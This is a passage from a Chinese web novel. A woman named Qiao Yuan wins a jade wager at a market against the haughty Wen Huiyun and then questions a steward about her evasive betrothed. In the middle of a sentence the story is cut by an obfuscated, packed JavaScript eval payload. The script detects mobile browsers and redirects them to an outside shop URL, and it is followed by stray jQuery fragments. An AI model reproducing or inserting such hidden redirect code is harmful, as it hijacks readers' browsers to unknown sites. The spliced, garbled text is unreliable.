“上上品的玉镯”,一听便知,这位娇蛮女子看中的是那只绿镯子。
乔鸢本就没打算花五十两买这只浸色品,便未吱声。
更何况,花百两买只镯子,出手确实阔绰了些。
那女子招摇地走过来,不仅服饰精美繁杂,身后排场也十分气阔。
她至摊前,捏起这只绿镯,蹙眉欣赏了会儿,问小贩:“林小五!你确定这只是上品玉?”
被唤作“林小五”的小贩一哆嗦,眼睛在乔鸢身上转了转,却答:“不敢欺瞒温娘子,这是上周才从岫河里翻出的新玉,三日内打出来的咧。”
两人似是熟客往来,但林小五的答话让乔鸢皱起眉。
温会昀得了小贩保证,当即一招手,示意侍从付钱。
乔鸢突然道:“温娘子。这镯五十两足矣。”
温会昀自然以为乔鸢是想抢这只绿镯,笑着昂首:“五十两是出你的价,一百两是我出的价。只要它是好玉,那就是价高者得。”
乔鸢不同温会昀争辩,只抬目望向林小五,一字一顿:“这是好玉么?”
林小五被乔鸢如此沉静的眼神一照,心里头开始打起退堂鼓。
他最早看乔鸢一副江南相,知晓她肯定是个外来的,不像岫州本地人多少通点玉,故而狮子大开口,想狠狠敲一笔,回家给怀孕的媳妇添点肉。
千算万算,没想到今天温姑奶奶在岫州,还刚好撞上!
虽说温氏背后得罪不起,但这位主子惯来好糊弄,林小五本想着谁买都是买,所以爽快地打了包票。
谁知眼前这位乔娘子也不像个善茬,非要在此计较......
温会昀见乔鸢和林小五都不动,奇怪道:“愣着做什么,还不快打包,这玉我可是要送到贵客府上的。”
乔鸢见林小五不肯答话,便知这摊贩是故意宰客,决心整一整这奸商。
乔鸢嘴角微扬,话锋一转:“老板,这只黑镯多少钱,我要了。”
林小五看乔鸢没有再追究的意思,顿时欢天喜地,满脸谄媚:“一两!就一两,这就给您包好。”
乔鸢笑意更深,示意冬灵付钱。
温会昀本以为乔鸢能看中绿镯,至少算半个懂行的,没想到她最终挑了个黑漆漆的下品,还很满意的样子。
就这样的人,还劝自己五十两足矣?
搞不好是在不爽她出了高价,没讲“先来后到”的美德吧!
温会昀斜睨乔鸢一眼,同侍女叹气道:“哎,那种货色,送我我都不要。”
“你若愿意出一百五十两,这只绿镯就归你,怎样?”她又对乔鸢提议。
乔鸢指着已经放入木匣的绿镯,笑了:“那种货色,送我,我都不要。”
“你!”
温会昀何时被人这么顶撞过,当即就急了:“你自己不识相就算了,怎么诋毁好玉!”
乔鸢从锦囊中拿出黑镯,以指尖捏着。
“温娘子。我有一赌,想请你一起。”
“我赌我的玉,较你那只,更贵。”
林小五瞪大双眼,觉得乔鸢和疯了没区别。
刚赚了一笔,这林小五还算有点良心,好心提醒道:“乔娘子,这是从废料上切下来的一角,不磨成环,都卖不出去,你这......”
乔鸢不语,只静静地望向温会昀。
温会昀被当场这么一将,深吸一口气,也模仿乔鸢的动作,拿出绿镯:“我和你比!”
岫州盛产玉,集市上多为玉贩。温会昀更是岫州玉贩的熟客、贵客。
此时一听温娘子要和人赌玉,人流全往这边聚了过来,场面愈发热闹。
林小五暗自捏了把汗,选了个外围的位置,焦急地关注里头的情况。
他怕死了温娘子认出这只镯不是真玉,从而找他麻烦,那他后半生就可以换份活计了!
可乔娘子的赌约很是奇怪,并不赌真假,只赌贵贱。这只绿镯虽不是他自夸的那般珍品,但无论如何都比废品黑镯强。
在溜之大吉和好奇看看中,林小五最终选择了再观望观望。
温会昀见看客越来越多,自然也听到了玉贩们的议论声,她几乎是压倒性的胜利。本被架在高台上、轻微不爽的她,此时竟也舒坦起来,十分好奇乔鸢落败后的表情:
“怎么比?要找玉坊么?我多的是认识的人——反倒是你,有想好拿什么赔我吗?”
乔鸢淡淡道:“你想好就可以了。”
温会昀咬住下唇,隐有怒意。
就在众目睽睽之下,乔鸢毫无征兆地松了手。
沐浴着日光的黑镯顺势下坠,朝地面砸落!
砰!!!
温会昀下意识后撤一步,暗骂:发什么鬼疯?!
随着清脆响亮的一声,黑镯四分五裂,碎粒蹦开散落。
“乔娘子小心!”冬灵快人一步,把乔鸢护在身后。
乔鸢拍了拍冬灵示意无碍,蹲下身小心翼翼拾起一些碎石。
冬灵原是不解,但近距离看到乔鸢掌心之物后,迅速蹲下,一并收拾起来。
此时,邻近乔鸢的玉贩中,已有眼尖的惊叫出声:“翡翠!”
“错不了,翡翠的颜色!”
人群顿时爆发轰动,更有甚者,接二连三地挤出人群,在地面上浑水摸鱼,试图能偷一点是一点。
一个玉贩运气好,捡到一块较为完整的碎石,看了看切面:“还是浓绿,这怎么会搞错?”
“是啊,怎么会搞错呢?”乔鸢看着掌心里的绿碎石,轻声道。
不少玉贩见有利可得,连忙围去乔鸢身边,企图商谈个低价——毕竟,谁都知道成本价只有一两嘛!
林小五更是看的目瞪口呆。
他怎么也想不到,废石里的废料,怎么能开出翡翠的?!
他在岫州干了近十年玉石行当,还是头回撞见这等奇事。还是说,这过往十年,多的是这样的货品,他却从没看出来?
林小五一边懊恼自己错失的银两,一边想到温家就脊背发凉,干脆脚底抹油,开溜!
反观温会昀这边,虽然所有人的目光都在乔鸢身上,暂时还没有人议论她,可温会昀依旧面色阴沉。
乔鸢开出了罕见的翡翠,绝非她一只普通绿镯可比。
不论她是什么品相,都比不过。
她输了。
在大庭广众之下,输了一场根本不需要比试的赌约。
“你要什么?”温会昀调整了一下心态,冷冷地问。
乔鸢正把品相良好的碎石交给冬灵,嘱咐着什么。
见温娘子缓过来了,乔鸢言简意赅:“把这只绿镯退了,拿回一百两吧。”
“什么意思?”温会昀皱起眉。
乔鸢看向还没跑远的林小五:“这只镯连玉都不是。你擦一擦,就知晓了。”
闻言,温会昀的脸红一阵白一阵,咬牙低吼:“把那贩子给我抓回来!”
乔鸢得了好,便不在这场戏里停留,继续带着冬灵闲逛去了。
-
酉时,宋府。
乔鸢自集市归来,将碎翡翠留了一小块做纪念,其余全部换了银两和几身缎面,交给郑伯。
“给侍人们换些新装吧。”乔鸢道。
郑伯叫人安排下去,温声:“此前不知您懂玉,这下大家都知道是沾您的光了。”
乔鸢一怔。
她既没有告知缎面的来历,冬灵也一直随侍左右。
宋府若要在这么短的时间内知晓此事,只能说明宋泽玉在岫州遍地眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861231|212004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
线。
乔鸢面色不显,只说:“一次运气好,许是初来乍到,得老天爷垂怜。”
郑伯道:“乔娘子吉人吉相,是公子之福啊。”
乔鸢不以为意地笑笑。
二人再家常闲话几句,向前走去。
将至正厅,乔鸢忽地顿了脚步。
随行的郑伯也跟着停了下来。
一男一女的说笑声正不断从正厅传出,远远向外。
因还有些距离,听不大清具体内容,不知道女子说了什么,竟逗得男人哈哈大笑,十分爽利似的。
“宋公子的病,又好了?”乔鸢挑眉。
郑伯垂着眼,端着笑,显然避重就轻:“应当是可以见客了。”
乔鸢更习惯先发制人。她转身盯着郑伯,问:“你可知宋公子为何要躲我?”
郑伯年过半百,是宋府十余年的大主事。乔鸢扪心自问,这一问就算问不到宋泽玉跟前,也能从郑伯的态度里探个七七八八。
老夫人给宋泽玉的书信里,乔鸢看过最后一封。里面只说定下一门亲事,并会让乔氏前往岫州会面,其他均未多言。
这怎么就讨他不快了?
宋泽玉只在“英雄救匪”那日同她打了个照面,其余日子恨不得连“病”七日,闭门不出,撞她如撞邪似的。
乔鸢思忖宋泽玉完全没有对她避之不及的理由。就算他对自己的未来娘子没有丝毫好奇,又或者他已心有所属——
都能聊啊!
她乔鸢又不是非嫁不可,只要宋泽玉愿回京州,他想要星星还是月亮,乔鸢都愿意帮他搞来!
不怕任务艰巨,但怕对方逃避沟通。
半晌,郑伯只笑:“乔娘子多心了。您是公子的座上宾,更有婚约在身,待公子身子硬朗些,大抵会来寻您的。”
“是么,他什么时候来?”乔鸢也笑,“我有话想同他说。”
郑伯立马拱手:“若乔娘子不介意,老奴可帮您转达。”
乔鸢虽是上街解闷,倒也想通当下种种有违常理,其间必有她不知道的内情。
此时再一思酌,乔鸢决定先弄清楚宋泽玉究竟在躲什么:到底是对婚事不满、对她不满,不愿结亲;还是不想回京州,因此抗拒和京州相关的所有事?
如果是后者,她麻烦可就大了,得趁早谋划后路才是。
“姻缘讲究一个‘缘’字,若公子看不上乔鸢,大可直言。这门亲事虽是我母族求来,但我们也绝无强迫他人之理。”乔鸢道。
郑伯若有所思地点点头:“老奴一定把话带到。”却再言,“乔娘子别嫌老奴多话,公子还是很欢喜您的。”
确实挺欢喜。乔鸢腹诽。
一个郑伯,一个冬灵,还有暗处的未知眼线,论迹不论心嘛,宋泽玉的提防显而易见。
乔鸢实在没兴趣听宋泽玉墙角,便随意扯了借口,独自回房休息。
郑伯望着乔鸢离去的背影,站在檐下沉思。
乔娘子聪慧爽利,心思缜密,以他对老夫人的了解,这绝非是老夫人选“宋府女眷”的标准,确实更像是乔氏送来的适龄娘子。
只是公子尚未弱冠,就算将来回京迎亲,也还有两年拖得。
此前老夫人屡次催促公子上京,这般急切,怎会同意这门亲事?
况且这位乔娘子,似乎对这些都一概不知,只在计较公子心意......
“哟,郑伯。”
宋泽玉领着身侧姑娘出了正厅,看见正在出神的郑伯,带着调侃唤道:“往日这个时辰你都在膳房,今个儿怎么在这儿?你也有客要见?”
郑伯回神,十分恭敬地对二位主子见礼:“公子,温娘子。”
郑伯口中的“温娘子”,正是在集市上与乔鸢赌玉的温会昀。